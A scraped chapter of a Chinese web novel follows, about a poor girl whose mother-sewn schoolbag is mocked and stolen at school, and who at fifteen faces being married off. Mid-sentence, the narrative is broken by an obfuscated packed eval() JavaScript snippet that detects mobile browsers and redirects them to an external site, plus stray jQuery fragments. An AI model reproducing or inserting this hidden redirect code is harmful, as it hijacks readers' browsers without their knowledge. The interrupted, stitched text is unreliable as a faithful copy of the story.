默认冷灰
24号文字
方正启体

33.无名篇·嫁人

作者:浊之音本书字数:K更新时间:
    坎特1702年


    清晨的小路上,六岁的阿谬今天格外开心,一步一步踢着腿,纵使没有朋友小阿谬拿着一个狗尾巴摇啊摇啊——


    今天阿谬有了新书包,是妈妈给她做的。


    阿谬的妈妈以前是裁缝,阿谬妈妈给阿谬做的书包精美到和市场上卖的没有区别。


    这是一个母亲饱含慈爱,希望这个小小的慰籍能滋润阿谬枯燥的童年,又或许这样可以让阿谬交到朋友。


    昨天,书包一做完,阿谬妈妈就笑着让阿谬过来,阿谬背上书包欢天喜地在屋内乱跑着。


    现在,身上是带着余温礼物,阿谬蹭蹭书包心满意足地上学。


    或许是新书包的缘故,阿谬这一路上都小跑,还扑腾着手臂,像空中展翅的小鸟。


    跑了没多久,阿谬就走进欢声笑语的班上。


    面对笑容满面的孩童,阿谬也被氛围打动,她故意走得慢悠悠的,动静也大一些,故意拖着鞋子,窸窸窣窣地走过可茜。


    可茜立马跑到安妮身旁,拉着安妮的手,走到阿谬面前。而阿谬早已坐在摇晃的椅子上,眯着眼睛看着安妮,再次拥有好朋友的感觉,让阿谬有些紧张,但她一摸到自己的书包就安心很多,仿佛有了勇气。


    因为那是妈妈省吃俭用,挺着大肚子一针一线缝了好几个晚上,所以阿谬格外珍惜。


    想到这里,阿谬深呼吸,高兴地满脸羞红,抬头。


    “阿谬,你买新书包了?”可茜问。


    “你书包是哪里买的?”安妮也问。


    这一问,全班都看着阿谬,面对同学们的目光阿谬生涩地挠了挠脸,将书包放在桌上,她想翻来包上缝纫的线头,告诉她们:这是妈妈亲手做的。


    安妮看了整整齐齐地线头,冷不伶仃说道:“她家哪有钱买。”


    可茜点点头偷笑:那就是偷的咯!


    “偷”这个字像千斤重的锤子,狠狠地给阿谬当头一棒,她支支吾吾地想解释,但站起脚却软下来,只能瞪大眼睛,咿咿呀呀地喊着。


    笑声如潮水般侵蚀着阿谬的话语,她的抗议硬生生地被捂住。


    砰——


    震耳欲聋的敲击声,冲破嬉笑声,珂琪拉修女用戒尺拍打木门,笑声停了。


    这一瞬间,阿谬像是窒息重获空气的人,大口大口吐着断断续续地话语,含糊不清的解释带着哭腔变得诡异又烦闷。


    安妮和可茜依旧站在阿谬面前,阿谬红着眼睛,胡乱指着她们,滑稽的模样就像被刺伤的小鹿。


    笑声再次响起。


    啪——啪——啪——


    “安静!”修女咬牙切齿地从口中挤出一句话,这表明她的忍耐到达极限,看着阿谬的蠢样吼出声:


    “阿谬,给我站在外面去!”


    阿谬不哭了,她的手停在空中。


    “现在!马上!”


    这道命令死死地禁锢在阿谬身上,阿谬从不反抗别人的要求,反抗就会挨打。这是在家得到的教训。阿谬就像执行命令的机器,掰这手指,跌跌撞撞地跑向门口,忘了将书包放回去。


    ……


    ……


    阿谬出去了,她站在门口昏昏欲睡,这几天妈妈总会疼得半夜哀嚎,阿谬睡不好觉。看着窗外叽叽喳喳的鸟儿,她本能地紧贴着墙,再滑落进入梦乡……


    “珂琪拉修女!阿谬睡着了!”


    不知是谁打了小报告,阿谬如临大敌地站得笔直,才知道已经过了早课时间。珂琪拉修女出了教室门,只是斜一眼阿谬冷哼一声。


    “又穷又笨的孩子,念再多经书,神也不会看你一眼。”


    这句嘲讽仿佛将阿谬定在走廊上,空无一人。


    直到前方出现晃荡的小鼻涕虫,小鼻涕虫是一个无父无母的孩子,是小鼻涕虫的奶奶带大。


    小鼻涕虫一反常态和阿谬打了招呼,他友好的想阿谬伸出手,阿谬见对方是男生有些扭捏。小鼻涕虫也没多说,张口就问,阿谬能不能帮他看一会儿东西,他想上厕所。


    阿谬点点头,伸出手接过——


    书包。


    书包很像阿谬的。


    阿谬愣了很久,只有手指紧紧绞着书包,她想回去看看自己的书包和外面卖的有什么不同。


    刚踏出一步,阿谬又想到:要是小鼻涕虫上完厕所看不到书包,会不会着急?


    她记得妈妈说过:人要将心比心。


    微风拂过阿谬的发梢,小鼻涕虫出来了,阿谬郑重地将书包“还”给小鼻涕虫。小鼻涕虫则是用疑惑地目光打量阿谬,仿佛在看一个傻子。


    之后,他拎起包头也不回离开了。


    耳旁再次出现几道笑声,阿谬才急忙回到位置。


    小阿谬啊,趴在桌上,先是站了一节课,又是等了很久,阿谬只感觉小腿又酸有麻,她想好好休息,往后一靠,一放松——


    愣了。


    阿谬的书包不见了,教室里传来刺耳的惊叫,几乎是撕裂声带般凄惨,随后惨叫慢慢变为大哭。


    阿谬的哭声一点一点、伴随着落叶消失的无影无踪。


    不爱说话的阿谬发了疯,她从第一桌的抽屉开始翻,将桌上墨水打翻在地,将摆好的椅子扯得东歪西倒。


    阿谬找到了!阿谬找到了!


    阿谬想也没想,扑在一个孩童身上,她的眼泪鼻涕流得满脸都是,哭着拉扯男孩背上的书包。男孩被弄得措不及防,嗷嗷大叫,反拉着书包。


    “这是我哥哥小鼻涕虫给我的!”


    男孩的这句话一出口,阿谬“哇”的一声,从未发出过如此大的哭声,她奋力拉扯着书包。


    因为小鼻涕虫根本没有弟弟,这个书包一定时候她的,小鼻涕虫把她的书包送给男孩,所以男孩才叫小鼻涕虫——哥哥!


    阿谬终于知道了,小鼻涕虫在厕所外面用看傻子的眼神看她。


    她好难过。阿谬爆发了,动手撕扯孩童的手,张开嘴要伤害对方时——


    “你们在干什么!”


    修女捂着脑袋,一脸困倦地将他们拉到禁闭室。


    他们俩都在哭。


    一个说:是妈妈给我的。


    另一个说:是小鼻涕虫哥哥给我的!


    纠纷不下,修女抽出戒尺,打了一下男孩的掌心,也抽了一下阿谬的手臂。


    “都别争了!”


    修女将书包收好,扔在禁闭室的桌上,修女锐利有神的眼光扫过阿谬,说道:你先回去吧。


    就这样,没有过多解释,阿谬捂着被打红的手臂,难过地回去了。


    大人们来了,他们接走自己的孩子,背着书包的孩子。只有阿谬周围空空的,她背上也空空的。


    但有个好消息是,妈妈破天荒来接阿谬了,妈妈走得很慢,轻轻拉住阿谬的肩膀,肩膀被抽得红肿,小阿谬抽气一下,但阿谬见到妈妈一瞬间,也不痛了,也忍不了,向妈妈哭诉着一切。


    女儿的哭声宛如捆紧麻绳,用力拧着母亲的脆弱心脏。


    一个没有文化又纯朴的母亲,她能做什么?只能摸了摸阿谬被汗水浸湿的头发,轻声安抚道:没事的不哭,妈妈回去做更好的给你。


    母亲的这道承诺更像是敷衍,阿谬知道做一个书包不容易,是省下好几个月才换来的针线,母亲在骗阿谬。


    但阿谬知道妈妈已经尽力了,小阿谬停止哭声可还是忍不住颤抖。


    妈妈心疼地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265947|177733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    伸出手,握紧阿谬冰凉的指尖,月光下一大一小的身影,走在回家的路上,当她们像往常一样经过修道院的篱笆时,阿谬鬼使神差地看向那个悲伤的地方。


    男孩的爷爷来了,男孩擦干眼泪,破涕为笑。爷爷乐呵呵地牵着孙子的手,珂琪拉修女站在禁闭室门口,慢悠悠地和他们告别,而老人的肩上背着的是——


    阿谬的书包。


    阿谬回家了,但她变了,每天躲在被窝里紧紧包裹着自己,任父亲怎么打骂阿谬,她再也不愿去上学。


    坎特1717年


    春风流淌着儿时的过往,诉说着阿谬的童年,这一年阿谬十五岁,她长大了。


    长大是什么?


    长大就意味着阿谬没有甜甜的蛋羹。


    长大就意味着阿谬有了两个妹妹和一个四岁大的弟弟。


    长大就意味着……


    今天也是阿谬的生日,但没有人会再次想起。阿谬像往常一样,往滚烫的火炉里塞柴火,锅里沸腾着热水,慢慢的气泡越来越少。


    她伸手摸向地板上的柴火。


    烧光了,阿谬便起身,准备去不远的安全区再捡一些柴火。


    安全区里小屋并不远,几百米就到了。


    阿谬她啊,弯着腰,地上的灰尘弄得她的衣服脏兮兮的,难免有些痒。她捡完柴火,却吃力地放下,抓了抓奇痒无比的手臂,每抓出一道红痕她的小臂比越痒,最终阿谬放弃了。


    她走在回家的路上,安全区和海岸之间隔着一片小树林,阿谬在这里摔倒过,也在这里哭过。现在,她抱着木头一步一步的走回家。


    寂静的林间空气如冰棱般凝固,阿谬听见少男少女的声音。她一紧张,双手没抱稳下意识地松开。谈话声也随即停下,接着是踩着落叶靠近的声音。


    本是弯着腰捡着枝木的安眠,听到脚步声变成手脚并,跌跌撞撞地跑爬在暗处,控制自己的故意。


    那是安妮,安妮也十五岁了,亭亭玉立,脸上有些婴儿肥,但干净又整洁的脸蛋用上脂粉,嘟着红唇用上唇膏,身上穿着得体的小洋装,与这个小镇格格不入。几个小伙伴也是同样端庄,她们和安妮有一搭没一搭的聊天。


    安妮抬起头,周围只有落叶和散落的树枝,没多想安妮就退回小路。


    交错的枝叶下,安妮小脸慢慢变红,试探地伸出白皙的小手,伸给最近的男生,那个男生大喜过望,一把抓住安妮的手,紧紧握着,眼里只有对方。


    安妮恋爱了。


    ……


    ……


    嘎吱嘎吱——


    许久之后,阿谬确认他们离开之后,她踩着枯叶走出来了,浑身灰蒙蒙的,穿着一个粗布做的短袖,下身是一个及膝的褐色短裤,而一到夏天乌黑的长发就会被剃掉。


    空中弥漫着尘土,这味道阿谬感觉昏昏沉沉,她无声地看向自己的手,粗糙的掌心上面有木屑和倒刺,这是她的手,又脏又丑。


    没人会愿意牵住她,她也不可能谈恋爱,直到远处冒气的青烟拉回她的思绪,阿谬焦急地捡起柴火一溜烟地跑回家,她用尽全力奔跑着,想要忘记过往的痛苦,大口吸进空气,却满嘴都是灰,迈开双腿死命的蹦着,居然感到一股暖意。


    她停了,手软了下去,连呼吸都变得费力。


    哐当——


    柴火从阿谬手中落下,她失魂落魄地看向自己的下身,温热的液体从她的腿间滑落,在阿谬的大腿内侧拉出一道血痕,触及到空气的瞬间,液体变得侵肉刺骨。


    她长大了。


    她来月事了。


    长大意味着什么?


    长大意味着要离开妈妈。


    意味着——阿谬要嫁人了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)